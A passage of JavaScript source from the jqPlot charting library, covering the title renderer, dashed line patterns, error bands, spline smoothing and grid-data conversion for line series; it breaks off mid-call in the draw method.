}; $.jqplot.DivTitleRenderer.prototype.init = function(options) { $.extend(true, this, options); }; $.jqplot.DivTitleRenderer.prototype.draw = function() { // Memory Leaks patch if (this._elem) { this._elem.emptyForce(); this._elem = null; } var r = this.renderer; var elem = document.createElement('div'); this._elem = $(elem); this._elem.addClass('jqplot-title'); if (!this.text) { this.show = false; this._elem.height(0); this._elem.width(0); } else if (this.text) { var color; if (this.color) { color = this.color; } else if (this.textColor) { color = this.textColor; } // don't trust that a stylesheet is present, set the position. var styles = {position:'absolute', top:'0px', left:'0px'}; if (this._plotWidth) { styles['width'] = this._plotWidth+'px'; } if (this.fontSize) { styles['fontSize'] = this.fontSize; } if (typeof this.textAlign === 'string') { styles['textAlign'] = this.textAlign; } else { styles['textAlign'] = 'center'; } if (color) { styles['color'] = color; } if (this.paddingBottom) { styles['paddingBottom'] = this.paddingBottom; } if (this.fontFamily) { styles['fontFamily'] = this.fontFamily; } this._elem.css(styles); if (this.escapeHtml) { this._elem.text(this.text); } else { this._elem.html(this.text); } // styletext += (this._plotWidth) ? 'width:'+this._plotWidth+'px;' : ''; // styletext += (this.fontSize) ? 'font-size:'+this.fontSize+';' : ''; // styletext += (this.textAlign) ? 'text-align:'+this.textAlign+';' : 'text-align:center;'; // styletext += (color) ? 'color:'+color+';' : ''; // styletext += (this.paddingBottom) ? 'padding-bottom:'+this.paddingBottom+';' : ''; // this._elem = $('<div class="jqplot-title" style="'+styletext+'">'+this.text+'</div>'); // if (this.fontFamily) { // this._elem.css('font-family', this.fontFamily); // } } elem = null; return this._elem; }; $.jqplot.DivTitleRenderer.prototype.pack = function() { // nothing to do here }; var dotlen = 0.1; $.jqplot.LinePattern = function (ctx, pattern) { var defaultLinePatterns = { dotted: [ dotlen, $.jqplot.config.dotGapLength ], dashed: [ $.jqplot.config.dashLength, $.jqplot.config.gapLength ], solid: null }; if (typeof pattern === 'string') { if (pattern[0] === '.' || pattern[0] === '-') { var s = pattern; pattern = []; for (var i=0, imax=s.length; i<imax; i++) { if (s[i] === '.') { pattern.push( dotlen ); } else if (s[i] === '-') { pattern.push( $.jqplot.config.dashLength ); } else { continue; } pattern.push( $.jqplot.config.gapLength ); } } else { pattern = defaultLinePatterns[pattern]; } } if (!(pattern && pattern.length)) { return ctx; } var patternIndex = 0; var patternDistance = pattern[0]; var px = 0; var py = 0; var pathx0 = 0; var pathy0 = 0; var moveTo = function (x, y) { ctx.moveTo( x, y ); px = x; py = y; pathx0 = x; pathy0 = y; }; var lineTo = function (x, y) { var scale = ctx.lineWidth; var dx = x - px; var dy = y - py; var dist = Math.sqrt(dx*dx+dy*dy); if ((dist > 0) && (scale > 0)) { dx /= dist; dy /= dist; while (true) { var dp = scale * patternDistance; if (dp < dist) { px += dp * dx; py += dp * dy; if ((patternIndex & 1) == 0) { ctx.lineTo( px, py ); } else { ctx.moveTo( px, py ); } dist -= dp; patternIndex++; if (patternIndex >= pattern.length) { patternIndex = 0; } patternDistance = pattern[patternIndex]; } else { px = x; py = y; if ((patternIndex & 1) == 0) { ctx.lineTo( px, py ); } else { ctx.moveTo( px, py ); } patternDistance -= dist / scale; break; } } } }; var beginPath = function () { ctx.beginPath(); }; var closePath = function () { lineTo( pathx0, pathy0 ); }; return { moveTo: moveTo, lineTo: lineTo, beginPath: beginPath, closePath: closePath }; }; // Class: $.jqplot.LineRenderer // The default line renderer for jqPlot, this class has no options beyond the <Series> class. // Draws series as a line. $.jqplot.LineRenderer = function(){ this.shapeRenderer = new $.jqplot.ShapeRenderer(); this.shadowRenderer = new $.jqplot.ShadowRenderer(); }; // called with scope of series. $.jqplot.LineRenderer.prototype.init = function(options, plot) { // Group: Properties // options = options || {}; this._type='line'; this.renderer.animation = { show: false, direction: 'left', speed: 2500, _supported: true }; // prop: smooth // True to draw a smoothed (interpolated) line through the data points // with automatically computed number of smoothing points. // Set to an integer number > 2 to specify number of smoothing points // to use between each data point. this.renderer.smooth = false; // true or a number > 2 for smoothing. this.renderer.tension = null; // null to auto compute or a number typically > 6. Fewer points requires higher tension. // prop: constrainSmoothing // True to use a more accurate smoothing algorithm that will // not overshoot any data points. False to allow overshoot but // produce a smoother looking line. this.renderer.constrainSmoothing = true; // this is smoothed data in grid coordinates, like gridData this.renderer._smoothedData = []; // this is smoothed data in plot units (plot coordinates), like plotData. this.renderer._smoothedPlotData = []; this.renderer._hiBandGridData = []; this.renderer._lowBandGridData = []; this.renderer._hiBandSmoothedData = []; this.renderer._lowBandSmoothedData = []; // prop: bandData // Data used to draw error bands or confidence intervals above/below a line. // // bandData can be input in 3 forms. jqPlot will figure out which is the // low band line and which is the high band line for all forms: // // A 2 dimensional array like [[yl1, yl2, ...], [yu1, yu2, ...]] where // [yl1, yl2, ...] are y values of the lower line and // [yu1, yu2, ...] are y values of the upper line. // In this case there must be the same number of y data points as data points // in the series and the bands will inherit the x values of the series. // // A 2 dimensional array like [[[xl1, yl1], [xl2, yl2], ...], [[xh1, yh1], [xh2, yh2], ...]] // where [xl1, yl1] are x,y data points for the lower line and // [xh1, yh1] are x,y data points for the high line. // x values do not have to correspond to the x values of the series and can // be of any arbitrary length. // // Can be of form [[yl1, yu1], [yl2, yu2], [yl3, yu3], ...] where // there must be 3 or more arrays and there must be the same number of arrays // as there are data points in the series. In this case, // [yl1, yu1] specifies the lower and upper y values for the 1st // data point and so on. The bands will inherit the x // values from the series. this.renderer.bandData = []; // Group: bands // Banding around line, e.g error bands or confidence intervals. this.renderer.bands = { // prop: show // true to show the bands. If bandData or interval is // supplied, show will be set to true by default. show: false, hiData: [], lowData: [], // prop: color // color of lines at top and bottom of bands [default: series color]. color: this.color, // prop: showLines // True to show lines at top and bottom of bands [default: false]. showLines: false, // prop: fill // True to fill area between bands [default: true]. fill: true, // prop: fillColor // css color spec for filled area. [default: series color]. fillColor: null, _min: null, _max: null, // prop: interval // User specified interval above and below line for bands [default: '3%'']. // Can be a value like 3 or a string like '3%' // or an upper/lower array like [1, -2] or ['2%', '-1.5%'] interval: '3%' }; var lopts = {highlightMouseOver: options.highlightMouseOver, highlightMouseDown: options.highlightMouseDown, highlightColor: options.highlightColor}; delete (options.highlightMouseOver); delete (options.highlightMouseDown); delete (options.highlightColor); $.extend(true, this.renderer, options); this.renderer.options = options; // if we are given some band data, and bands aren't explicity set to false in options, turn them on. if (this.renderer.bandData.length > 1 && (!options.bands || options.bands.show == null)) { this.renderer.bands.show = true; } // if we are given an interval, and bands aren't explicity set to false in options, turn them on. else if (options.bands && options.bands.show == null && options.bands.interval != null) { this.renderer.bands.show = true; } // if plot is filled, turn off bands. if (this.fill) { this.renderer.bands.show = false; } if (this.renderer.bands.show) { this.renderer.initBands.call(this, this.renderer.options, plot); } // smoothing is not compatible with stacked lines, disable if (this._stack) { this.renderer.smooth = false; } // set the shape renderer options var opts = {lineJoin:this.lineJoin, lineCap:this.lineCap, fill:this.fill, isarc:false, strokeStyle:this.color, fillStyle:this.fillColor, lineWidth:this.lineWidth, linePattern:this.linePattern, closePath:this.fill}; this.renderer.shapeRenderer.init(opts); var shadow_offset = options.shadowOffset; // set the shadow renderer options if (shadow_offset == null) { // scale the shadowOffset to the width of the line. if (this.lineWidth > 2.5) { shadow_offset = 1.25 * (1 + (Math.atan((this.lineWidth/2.5))/0.785398163 - 1)*0.6); // var shadow_offset = this.shadowOffset; } // for skinny lines, don't make such a big shadow. else { shadow_offset = 1.25 * Math.atan((this.lineWidth/2.5))/0.785398163; } } var sopts = {lineJoin:this.lineJoin, lineCap:this.lineCap, fill:this.fill, isarc:false, angle:this.shadowAngle, offset:shadow_offset, alpha:this.shadowAlpha, depth:this.shadowDepth, lineWidth:this.lineWidth, linePattern:this.linePattern, closePath:this.fill}; this.renderer.shadowRenderer.init(sopts); this._areaPoints = []; this._boundingBox = [[],[]]; if (!this.isTrendline && this.fill || this.renderer.bands.show) { // Group: Properties // // prop: highlightMouseOver // True to highlight area on a filled plot when moused over. // This must be false to enable highlightMouseDown to highlight when clicking on an area on a filled plot. this.highlightMouseOver = true; // prop: highlightMouseDown // True to highlight when a mouse button is pressed over an area on a filled plot. // This will be disabled if highlightMouseOver is true. this.highlightMouseDown = false; // prop: highlightColor // color to use when highlighting an area on a filled plot. this.highlightColor = null; // if user has passed in highlightMouseDown option and not set highlightMouseOver, disable highlightMouseOver if (lopts.highlightMouseDown && lopts.highlightMouseOver == null) { lopts.highlightMouseOver = false; } $.extend(true, this, {highlightMouseOver: lopts.highlightMouseOver, highlightMouseDown: lopts.highlightMouseDown, highlightColor: lopts.highlightColor}); if (!this.highlightColor) { var fc = (this.renderer.bands.show) ? this.renderer.bands.fillColor : this.fillColor; this.highlightColor = $.jqplot.computeHighlightColors(fc); } // turn off (disable) the highlighter plugin if (this.highlighter) { this.highlighter.show = false; } } if (!this.isTrendline && plot) { plot.plugins.lineRenderer = {}; plot.postInitHooks.addOnce(postInit); plot.postDrawHooks.addOnce(postPlotDraw); plot.eventListenerHooks.addOnce('jqplotMouseMove', handleMove); plot.eventListenerHooks.addOnce('jqplotMouseDown', handleMouseDown); plot.eventListenerHooks.addOnce('jqplotMouseUp', handleMouseUp); plot.eventListenerHooks.addOnce('jqplotClick', handleClick); plot.eventListenerHooks.addOnce('jqplotRightClick', handleRightClick); } }; $.jqplot.LineRenderer.prototype.initBands = function(options, plot) { // use bandData if no data specified in bands option //var bd = this.renderer.bandData; var bd = options.bandData || []; var bands = this.renderer.bands; bands.hiData = []; bands.lowData = []; var data = this.data; bands._max = null; bands._min = null; // If 2 arrays, and each array greater than 2 elements, assume it is hi and low data bands of y values. if (bd.length == 2) { // Do we have an array of x,y values? // like [[[1,1], [2,4], [3,3]], [[1,3], [2,6], [3,5]]] if ($.isArray(bd[0][0])) { // since an arbitrary array of points, spin through all of them to determine max and min lines. var p; var bdminidx = 0, bdmaxidx = 0; for (var i = 0, l = bd[0].length; i<l; i++) { p = bd[0][i]; if ((p[1] != null && p[1] > bands._max) || bands._max == null) { bands._max = p[1]; } if ((p[1] != null && p[1] < bands._min) || bands._min == null) { bands._min = p[1]; } } for (var i = 0, l = bd[1].length; i<l; i++) { p = bd[1][i]; if ((p[1] != null && p[1] > bands._max) || bands._max == null) { bands._max = p[1]; bdmaxidx = 1; } if ((p[1] != null && p[1] < bands._min) || bands._min == null) { bands._min = p[1]; bdminidx = 1; } } if (bdmaxidx === bdminidx) { bands.show = false; } bands.hiData = bd[bdmaxidx]; bands.lowData = bd[bdminidx]; } // else data is arrays of y values // like [[1,4,3], [3,6,5]] // must have same number of band data points as points in series else if (bd[0].length === data.length && bd[1].length === data.length) { var hi = (bd[0][0] > bd[1][0]) ? 0 : 1; var low = (hi) ? 0 : 1; for (var i=0, l=data.length; i < l; i++) { bands.hiData.push([data[i][0], bd[hi][i]]); bands.lowData.push([data[i][0], bd[low][i]]); } } // we don't have proper data array, don't show bands. else { bands.show = false; } } // if more than 2 arrays, have arrays of [ylow, yhi] values. // note, can't distinguish case of [[ylow, yhi], [ylow, yhi]] from [[ylow, ylow], [yhi, yhi]] // this is assumed to be of the latter form. else if (bd.length > 2 && !$.isArray(bd[0][0])) { var hi = (bd[0][0] > bd[0][1]) ? 0 : 1; var low = (hi) ? 0 : 1; for (var i=0, l=bd.length; i<l; i++) { bands.hiData.push([data[i][0], bd[i][hi]]); bands.lowData.push([data[i][0], bd[i][low]]); } } // don't have proper data, auto calculate else { var intrv = bands.interval; var a = null; var b = null; var afunc = null; var bfunc = null; if ($.isArray(intrv)) { a = intrv[0]; b = intrv[1]; } else { a = intrv; } if (isNaN(a)) { // we have a string if (a.charAt(a.length - 1) === '%') { afunc = 'multiply'; a = parseFloat(a)/100 + 1; } } else { a = parseFloat(a); afunc = 'add'; } if (b !== null && isNaN(b)) { // we have a string if (b.charAt(b.length - 1) === '%') { bfunc = 'multiply'; b = parseFloat(b)/100 + 1; } } else if (b !== null) { b = parseFloat(b); bfunc = 'add'; } if (a !== null) { if (b === null) { b = -a; bfunc = afunc; if (bfunc === 'multiply') { b += 2; } } // make sure a always applies to hi band. if (a < b) { var temp = a; a = b; b = temp; temp = afunc; afunc = bfunc; bfunc = temp; } for (var i=0, l = data.length; i < l; i++) { switch (afunc) { case 'add': bands.hiData.push([data[i][0], data[i][1] + a]); break; case 'multiply': bands.hiData.push([data[i][0], data[i][1] * a]); break; } switch (bfunc) { case 'add': bands.lowData.push([data[i][0], data[i][1] + b]); break; case 'multiply': bands.lowData.push([data[i][0], data[i][1] * b]); break; } } } else { bands.show = false; } } var hd = bands.hiData; var ld = bands.lowData; for (var i = 0, l = hd.length; i<l; i++) { if ((hd[i][1] != null && hd[i][1] > bands._max) || bands._max == null) { bands._max = hd[i][1]; } } for (var i = 0, l = ld.length; i<l; i++) { if ((ld[i][1] != null && ld[i][1] < bands._min) || bands._min == null) { bands._min = ld[i][1]; } } // one last check for proper data // these don't apply any more since allowing arbitrary x,y values // if (bands.hiData.length != bands.lowData.length) { // bands.show = false; // } // if (bands.hiData.length != this.data.length) { // bands.show = false; // } if (bands.fillColor === null) { var c = $.jqplot.getColorComponents(bands.color); // now adjust alpha to differentiate fill c[3] = c[3] * 0.5; bands.fillColor = 'rgba(' + c[0] +', '+ c[1] +', '+ c[2] +', '+ c[3] + ')'; } }; function getSteps (d, f) { return (3.4182054+f) * Math.pow(d, -0.3534992); } function computeSteps (d1, d2) { var s = Math.sqrt(Math.pow((d2[0]- d1[0]), 2) + Math.pow ((d2[1] - d1[1]), 2)); return 5.7648 * Math.log(s) + 7.4456; } function tanh (x) { var a = (Math.exp(2*x) - 1) / (Math.exp(2*x) + 1); return a; } ////////// // computeConstrainedSmoothedData // An implementation of the constrained cubic spline interpolation // method as presented in: // // Kruger, CJC, Constrained Cubic Spine Interpolation for Chemical Engineering Applications // http://www.korf.co.uk/spline.pdf // // The implementation below borrows heavily from the sample Visual Basic // implementation by CJC Kruger found in http://www.korf.co.uk/spline.xls // ///////// // called with scope of series function computeConstrainedSmoothedData (gd) { var smooth = this.renderer.smooth; var dim = this.canvas.getWidth(); var xp = this._xaxis.series_p2u; var yp = this._yaxis.series_p2u; var steps =null; var _steps = null; var dist = gd.length/dim; var _smoothedData = []; var _smoothedPlotData = []; if (!isNaN(parseFloat(smooth))) { steps = parseFloat(smooth); } else { steps = getSteps(dist, 0.5); } var yy = []; var xx = []; for (var i=0, l = gd.length; i<l; i++) { yy.push(gd[i][1]); xx.push(gd[i][0]); } function dxx(x1, x0) { if (x1 - x0 == 0) { return Math.pow(10,10); } else { return x1 - x0; } } var A, B, C, D; // loop through each line segment. Have # points - 1 line segments. Nmber segments starting at 1. var nmax = gd.length - 1; for (var num = 1, gdl = gd.length; num<gdl; num++) { var gxx = []; var ggxx = []; // point at each end of segment. for (var j = 0; j < 2; j++) { var i = num - 1 + j; // point number, 0 to # points. if (i == 0 || i == nmax) { gxx[j] = Math.pow(10, 10); } else if (yy[i+1] - yy[i] == 0 || yy[i] - yy[i-1] == 0) { gxx[j] = 0; } else if (((xx[i+1] - xx[i]) / (yy[i+1] - yy[i]) + (xx[i] - xx[i-1]) / (yy[i] - yy[i-1])) == 0 ) { gxx[j] = 0; } else if ( (yy[i+1] - yy[i]) * (yy[i] - yy[i-1]) < 0 ) { gxx[j] = 0; } else { gxx[j] = 2 / (dxx(xx[i + 1], xx[i]) / (yy[i + 1] - yy[i]) + dxx(xx[i], xx[i - 1]) / (yy[i] - yy[i - 1])); } } // Reset first derivative (slope) at first and last point if (num == 1) { // First point has 0 2nd derivative gxx[0] = 3 / 2 * (yy[1] - yy[0]) / dxx(xx[1], xx[0]) - gxx[1] / 2; } else if (num == nmax) { // Last point has 0 2nd derivative gxx[1] = 3 / 2 * (yy[nmax] - yy[nmax - 1]) / dxx(xx[nmax], xx[nmax - 1]) - gxx[0] / 2; } // Calc second derivative at points ggxx[0] = -2 * (gxx[1] + 2 * gxx[0]) / dxx(xx[num], xx[num - 1]) + 6 * (yy[num] - yy[num - 1]) / Math.pow(dxx(xx[num], xx[num - 1]), 2); ggxx[1] = 2 * (2 * gxx[1] + gxx[0]) / dxx(xx[num], xx[num - 1]) - 6 * (yy[num] - yy[num - 1]) / Math.pow(dxx(xx[num], xx[num - 1]), 2); // Calc constants for cubic interpolation D = 1 / 6 * (ggxx[1] - ggxx[0]) / dxx(xx[num], xx[num - 1]); C = 1 / 2 * (xx[num] * ggxx[0] - xx[num - 1] * ggxx[1]) / dxx(xx[num], xx[num - 1]); B = (yy[num] - yy[num - 1] - C * (Math.pow(xx[num], 2) - Math.pow(xx[num - 1], 2)) - D * (Math.pow(xx[num], 3) - Math.pow(xx[num - 1], 3))) / dxx(xx[num], xx[num - 1]); A = yy[num - 1] - B * xx[num - 1] - C * Math.pow(xx[num - 1], 2) - D * Math.pow(xx[num - 1], 3); var increment = (xx[num] - xx[num - 1]) / steps; var temp, tempx; for (var j = 0, l = steps; j < l; j++) { temp = []; tempx = xx[num - 1] + j * increment; temp.push(tempx); temp.push(A + B * tempx + C * Math.pow(tempx, 2) + D * Math.pow(tempx, 3)); _smoothedData.push(temp); _smoothedPlotData.push([xp(temp[0]), yp(temp[1])]); } } _smoothedData.push(gd[i]); _smoothedPlotData.push([xp(gd[i][0]), yp(gd[i][1])]); return [_smoothedData, _smoothedPlotData]; } /////// // computeHermiteSmoothedData // A hermite spline smoothing of the plot data. // This implementation is derived from the one posted // by krypin on the jqplot-users mailing list: // // http://groups.google.com/group/jqplot-users/browse_thread/thread/748be6a445723cea?pli=1 // // with a blog post: // // http://blog.statscollector.com/a-plugin-renderer-for-jqplot-to-draw-a-hermite-spline/ // // and download of the original plugin: // // http://blog.statscollector.com/wp-content/uploads/2010/02/jqplot.hermiteSplineRenderer.js ////////// // called with scope of series function computeHermiteSmoothedData (gd) { var smooth = this.renderer.smooth; var tension = this.renderer.tension; var dim = this.canvas.getWidth(); var xp = this._xaxis.series_p2u; var yp = this._yaxis.series_p2u; var steps =null; var _steps = null; var a = null; var a1 = null; var a2 = null; var slope = null; var slope2 = null; var temp = null; var t, s, h1, h2, h3, h4; var TiX, TiY, Ti1X, Ti1Y; var pX, pY, p; var sd = []; var spd = []; var dist = gd.length/dim; var min, max, stretch, scale, shift; var _smoothedData = []; var _smoothedPlotData = []; if (!isNaN(parseFloat(smooth))) { steps = parseFloat(smooth); } else { steps = getSteps(dist, 0.5); } if (!isNaN(parseFloat(tension))) { tension = parseFloat(tension); } for (var i=0, l = gd.length-1; i < l; i++) { if (tension === null) { slope = Math.abs((gd[i+1][1] - gd[i][1]) / (gd[i+1][0] - gd[i][0])); min = 0.3; max = 0.6; stretch = (max - min)/2.0; scale = 2.5; shift = -1.4; temp = slope/scale + shift; a1 = stretch * tanh(temp) - stretch * tanh(shift) + min; // if have both left and right line segments, will use minimum tension. if (i > 0) { slope2 = Math.abs((gd[i][1] - gd[i-1][1]) / (gd[i][0] - gd[i-1][0])); } temp = slope2/scale + shift; a2 = stretch * tanh(temp) - stretch * tanh(shift) + min; a = (a1 + a2)/2.0; } else { a = tension; } for (t=0; t < steps; t++) { s = t / steps; h1 = (1 + 2*s)*Math.pow((1-s),2); h2 = s*Math.pow((1-s),2); h3 = Math.pow(s,2)*(3-2*s); h4 = Math.pow(s,2)*(s-1); if (gd[i-1]) { TiX = a * (gd[i+1][0] - gd[i-1][0]); TiY = a * (gd[i+1][1] - gd[i-1][1]); } else { TiX = a * (gd[i+1][0] - gd[i][0]); TiY = a * (gd[i+1][1] - gd[i][1]); } if (gd[i+2]) { Ti1X = a * (gd[i+2][0] - gd[i][0]); Ti1Y = a * (gd[i+2][1] - gd[i][1]); } else { Ti1X = a * (gd[i+1][0] - gd[i][0]); Ti1Y = a * (gd[i+1][1] - gd[i][1]); } pX = h1*gd[i][0] + h3*gd[i+1][0] + h2*TiX + h4*Ti1X; pY = h1*gd[i][1] + h3*gd[i+1][1] + h2*TiY + h4*Ti1Y; p = [pX, pY]; _smoothedData.push(p); _smoothedPlotData.push([xp(pX), yp(pY)]); } } _smoothedData.push(gd[l]); _smoothedPlotData.push([xp(gd[l][0]), yp(gd[l][1])]); return [_smoothedData, _smoothedPlotData]; } // setGridData // converts the user data values to grid coordinates and stores them // in the gridData array. // Called with scope of a series. $.jqplot.LineRenderer.prototype.setGridData = function(plot) { // recalculate the grid data var xp = this._xaxis.series_u2p; var yp = this._yaxis.series_u2p; var data = this._plotData; var pdata = this._prevPlotData; this.gridData = []; this._prevGridData = []; this.renderer._smoothedData = []; this.renderer._smoothedPlotData = []; this.renderer._hiBandGridData = []; this.renderer._lowBandGridData = []; this.renderer._hiBandSmoothedData = []; this.renderer._lowBandSmoothedData = []; var bands = this.renderer.bands; var hasNull = false; for (var i=0, l=data.length; i < l; i++) { // if not a line series or if no nulls in data, push the converted point onto the array. if (data[i][0] != null && data[i][1] != null) { this.gridData.push([xp.call(this._xaxis, data[i][0]), yp.call(this._yaxis, data[i][1])]); } // else if there is a null, preserve it. else if (data[i][0] == null) { hasNull = true; this.gridData.push([null, yp.call(this._yaxis, data[i][1])]); } else if (data[i][1] == null) { hasNull = true; this.gridData.push([xp.call(this._xaxis, data[i][0]), null]); } // if not a line series or if no nulls in data, push the converted point onto the array. if (pdata[i] != null && pdata[i][0] != null && pdata[i][1] != null) { this._prevGridData.push([xp.call(this._xaxis, pdata[i][0]), yp.call(this._yaxis, pdata[i][1])]); } // else if there is a null, preserve it. else if (pdata[i] != null && pdata[i][0] == null) { this._prevGridData.push([null, yp.call(this._yaxis, pdata[i][1])]); } else if (pdata[i] != null && pdata[i][0] != null && pdata[i][1] == null) { this._prevGridData.push([xp.call(this._xaxis, pdata[i][0]), null]); } } // don't do smoothing or bands on broken lines. if (hasNull) { this.renderer.smooth = false; if (this._type === 'line') { bands.show = false; } } if (this._type === 'line' && bands.show) { for (var i=0, l=bands.hiData.length; i<l; i++) { this.renderer._hiBandGridData.push([xp.call(this._xaxis, bands.hiData[i][0]), yp.call(this._yaxis, bands.hiData[i][1])]); } for (var i=0, l=bands.lowData.length; i<l; i++) { this.renderer._lowBandGridData.push([xp.call(this._xaxis, bands.lowData[i][0]), yp.call(this._yaxis, bands.lowData[i][1])]); } } // calculate smoothed data if enough points and no nulls if (this._type === 'line' && this.renderer.smooth && this.gridData.length > 2) { var ret; if (this.renderer.constrainSmoothing) { ret = computeConstrainedSmoothedData.call(this, this.gridData); this.renderer._smoothedData = ret[0]; this.renderer._smoothedPlotData = ret[1]; if (bands.show) { ret = computeConstrainedSmoothedData.call(this, this.renderer._hiBandGridData); this.renderer._hiBandSmoothedData = ret[0]; ret = computeConstrainedSmoothedData.call(this, this.renderer._lowBandGridData); this.renderer._lowBandSmoothedData = ret[0]; } ret = null; } else { ret = computeHermiteSmoothedData.call(this, this.gridData); this.renderer._smoothedData = ret[0]; this.renderer._smoothedPlotData = ret[1]; if (bands.show) { ret = computeHermiteSmoothedData.call(this, this.renderer._hiBandGridData); this.renderer._hiBandSmoothedData = ret[0]; ret = computeHermiteSmoothedData.call(this, this.renderer._lowBandGridData); this.renderer._lowBandSmoothedData = ret[0]; } ret = null; } } }; // makeGridData // converts any arbitrary data values to grid coordinates and // returns them. This method exists so that plugins can use a series' // linerenderer to generate grid data points without overwriting the // grid data associated with that series. // Called with scope of a series. $.jqplot.LineRenderer.prototype.makeGridData = function(data, plot) { // recalculate the grid data var xp = this._xaxis.series_u2p; var yp = this._yaxis.series_u2p; var gd = []; var pgd = []; this.renderer._smoothedData = []; this.renderer._smoothedPlotData = []; this.renderer._hiBandGridData = []; this.renderer._lowBandGridData = []; this.renderer._hiBandSmoothedData = []; this.renderer._lowBandSmoothedData = []; var bands = this.renderer.bands; var hasNull = false; for (var i=0; i<data.length; i++) { // if not a line series or if no nulls in data, push the converted point onto the array. if (data[i][0] != null && data[i][1] != null) { if (this.step && i>0) { gd.push([xp.call(this._xaxis, data[i][0]), yp.call(this._yaxis, data[i-1][1])]); } gd.push([xp.call(this._xaxis, data[i][0]), yp.call(this._yaxis, data[i][1])]); } // else if there is a null, preserve it. else if (data[i][0] == null) { hasNull = true; gd.push([null, yp.call(this._yaxis, data[i][1])]); } else if (data[i][1] == null) { hasNull = true; gd.push([xp.call(this._xaxis, data[i][0]), null]); } } // don't do smoothing or bands on broken lines. if (hasNull) { this.renderer.smooth = false; if (this._type === 'line') { bands.show = false; } } if (this._type === 'line' && bands.show) { for (var i=0, l=bands.hiData.length; i<l; i++) { this.renderer._hiBandGridData.push([xp.call(this._xaxis, bands.hiData[i][0]), yp.call(this._yaxis, bands.hiData[i][1])]); } for (var i=0, l=bands.lowData.length; i<l; i++) { this.renderer._lowBandGridData.push([xp.call(this._xaxis, bands.lowData[i][0]), yp.call(this._yaxis, bands.lowData[i][1])]); } } if (this._type === 'line' && this.renderer.smooth && gd.length > 2) { var ret; if (this.renderer.constrainSmoothing) { ret = computeConstrainedSmoothedData.call(this, gd); this.renderer._smoothedData = ret[0]; this.renderer._smoothedPlotData = ret[1]; if (bands.show) { ret = computeConstrainedSmoothedData.call(this, this.renderer._hiBandGridData); this.renderer._hiBandSmoothedData = ret[0]; ret = computeConstrainedSmoothedData.call(this, this.renderer._lowBandGridData); this.renderer._lowBandSmoothedData = ret[0]; } ret = null; } else { ret = computeHermiteSmoothedData.call(this, gd); this.renderer._smoothedData = ret[0]; this.renderer._smoothedPlotData = ret[1]; if (bands.show) { ret = computeHermiteSmoothedData.call(this, this.renderer._hiBandGridData); this.renderer._hiBandSmoothedData = ret[0]; ret = computeHermiteSmoothedData.call(this, this.renderer._lowBandGridData); this.renderer._lowBandSmoothedData = ret[0]; } ret = null; } } return gd; }; // called within scope of series. $.jqplot.LineRenderer.prototype.draw = function(ctx, gd, options, plot) { var i; // get a copy of the options, so we don't modify the original object. var opts = $.extend(true, {}, options); var shadow = (opts.shadow != undefined) ? opts.shadow : this.shadow; var showLine = (opts.showLine != undefined) ? opts.showLine : this.showLine; var fill = (opts.fill != undefined) ? opts.fill : this.fill; var fillAndStroke = (opts.fillAndStroke != undefined) ? opts.fillAndStroke : this.fillAndStroke; var xmin, ymin, xmax, ymax; ctx.save(); if (gd.length) { if (showLine) { // if we fill, we'll have to add points to close the curve. if (fill) { if (this.fillToZero) { // have to break line up into shapes at axis crossings var negativeColor = this.negativeColor; if (! this.useNegativeColors) { negativeColor = opts.fillStyle; } var isnegative = false; var posfs = opts.fillStyle; // if stoking line as well as filling, get a copy of line data. if (fillAndStroke) { var fasgd = gd.slice(0); } // if not stacked, fill down to axis if (this.index == 0 || !this._stack) { var tempgd = []; var pd = (this.renderer.smooth) ? this.renderer._smoothedPlotData : this._plotData; this._areaPoints = []; var pyzero = this._yaxis.series_u2p(this.fillToValue); var pxzero = this._xaxis.series_u2p(this.fillToValue); opts.closePath = true; if (this.fillAxis == 'y') { tempgd.push([gd[0][0], pyzero]); this._areaPoints.push([gd[0][0], pyzero]); for (var i=0; i<gd.length-1; i++) { tempgd.push(gd[i]); this._areaPoints.push(gd[i]); // do we have an axis crossing? if (pd[i][1] * pd[i+1][1] <= 0) { if (pd[i][1] < 0) { isnegative = true; opts.fillStyle = negativeColor; } else { isnegative = false; opts.fillStyle = posfs; } var xintercept = gd[i][0] + (gd[i+1][0] - gd[i][0]) * (pyzero-gd[i][1])/(gd[i+1][1] - gd[i][1]); tempgd.push([xintercept, pyzero]); this._areaPoints.push([xintercept, pyzero]); // now draw this shape and shadow. if (shadow) { this.renderer.shadowRenderer.draw(ctx, tempgd, opts); } this.renderer.shapeRenderer.draw(ctx, tempgd, opts); // now empty temp array and continue tempgd = [[xintercept, pyzero]]; // this._areaPoints = [[xintercept, pyzero]]; } } if (pd[gd.length-1][1] < 0) { isnegative = true; opts.fillStyle = negativeColor; } else { isnegative = false; opts.fillStyle = posfs; } tempgd.push(gd[gd.length-1]); this._areaPoints.push(gd[gd.length-1]); tempgd.push([gd[gd.length-1][0], pyzero]); this._areaPoints.push([gd[gd.length-1][0], pyzero]); } // now draw the last area. if (shadow) { this.renderer.shadowRenderer.draw(ctx, tempgd, opts); } this.renderer.shapeRenderer.draw(ctx, tempgd, opts); // var gridymin = this._yaxis.series_u2p(0); // // IE doesn't return new length on unshift // gd.unshift([gd[0][0], gridymin]); // len = gd.length; // gd.push([gd[len - 1][0], gridymin]); } // if stacked, fill to line below else { var prev = this._prevGridData; for (var i=prev.length; i>0; i--) { gd.push(prev[i-1]); // this._areaPoints.push(prev[i-1]); } if (shadow) { this.renderer.shadowRenderer.draw(ctx, gd, opts); } this._areaPoints = gd; this.renderer.shapeRenderer.draw(ctx, gd, opts); } } ///////////////////////// // Not filled to zero //////////////////////// else { // if stoking line as well as filling, get a copy of line data. if (fillAndStroke) { var fasgd = gd.slice(0); } // if not stacked, fill down to axis if (this.index == 0 || !this._stack) { // var gridymin = this._yaxis.series_u2p(this._yaxis.min) - this.gridBorderWidth / 2; var gridymin = ctx.canvas.height; // IE doesn't return new length on unshift gd.unshift([gd[0][0], gridymin]); var len = gd.length; gd.push([gd[len - 1][0], gridymin]); } // if stacked, fill to line below else { var prev = this._prevGridData; for (var i=prev.length; i>0; i--) { gd.push(prev[i-1]); } } this._areaPoints = gd; if (shadow) { this.renderer.shadowRenderer.draw(ctx, gd, opts); } this.renderer.shapeRenderer.draw(ctx, gd, opts); } if (fillAndStroke) { var fasopts = $.extend(true, {}, opts, {fill:false, closePath:false}); this.renderer.shapeRenderer.draw(ctx, fasgd, fasopts); ////////// // TODO: figure out some way to do shadows nicely // if (shadow) { // this.renderer.shadowRenderer.draw(ctx, fasgd, fasopts); // } // now draw the markers if (this.markerRenderer.show) { if (this.renderer.smooth) { fasgd = this.gridData; } for (i=0; i<fasgd.length; i++) { this.markerRenderer.draw(fasgd[i][0], fasgd[i][1], ctx, 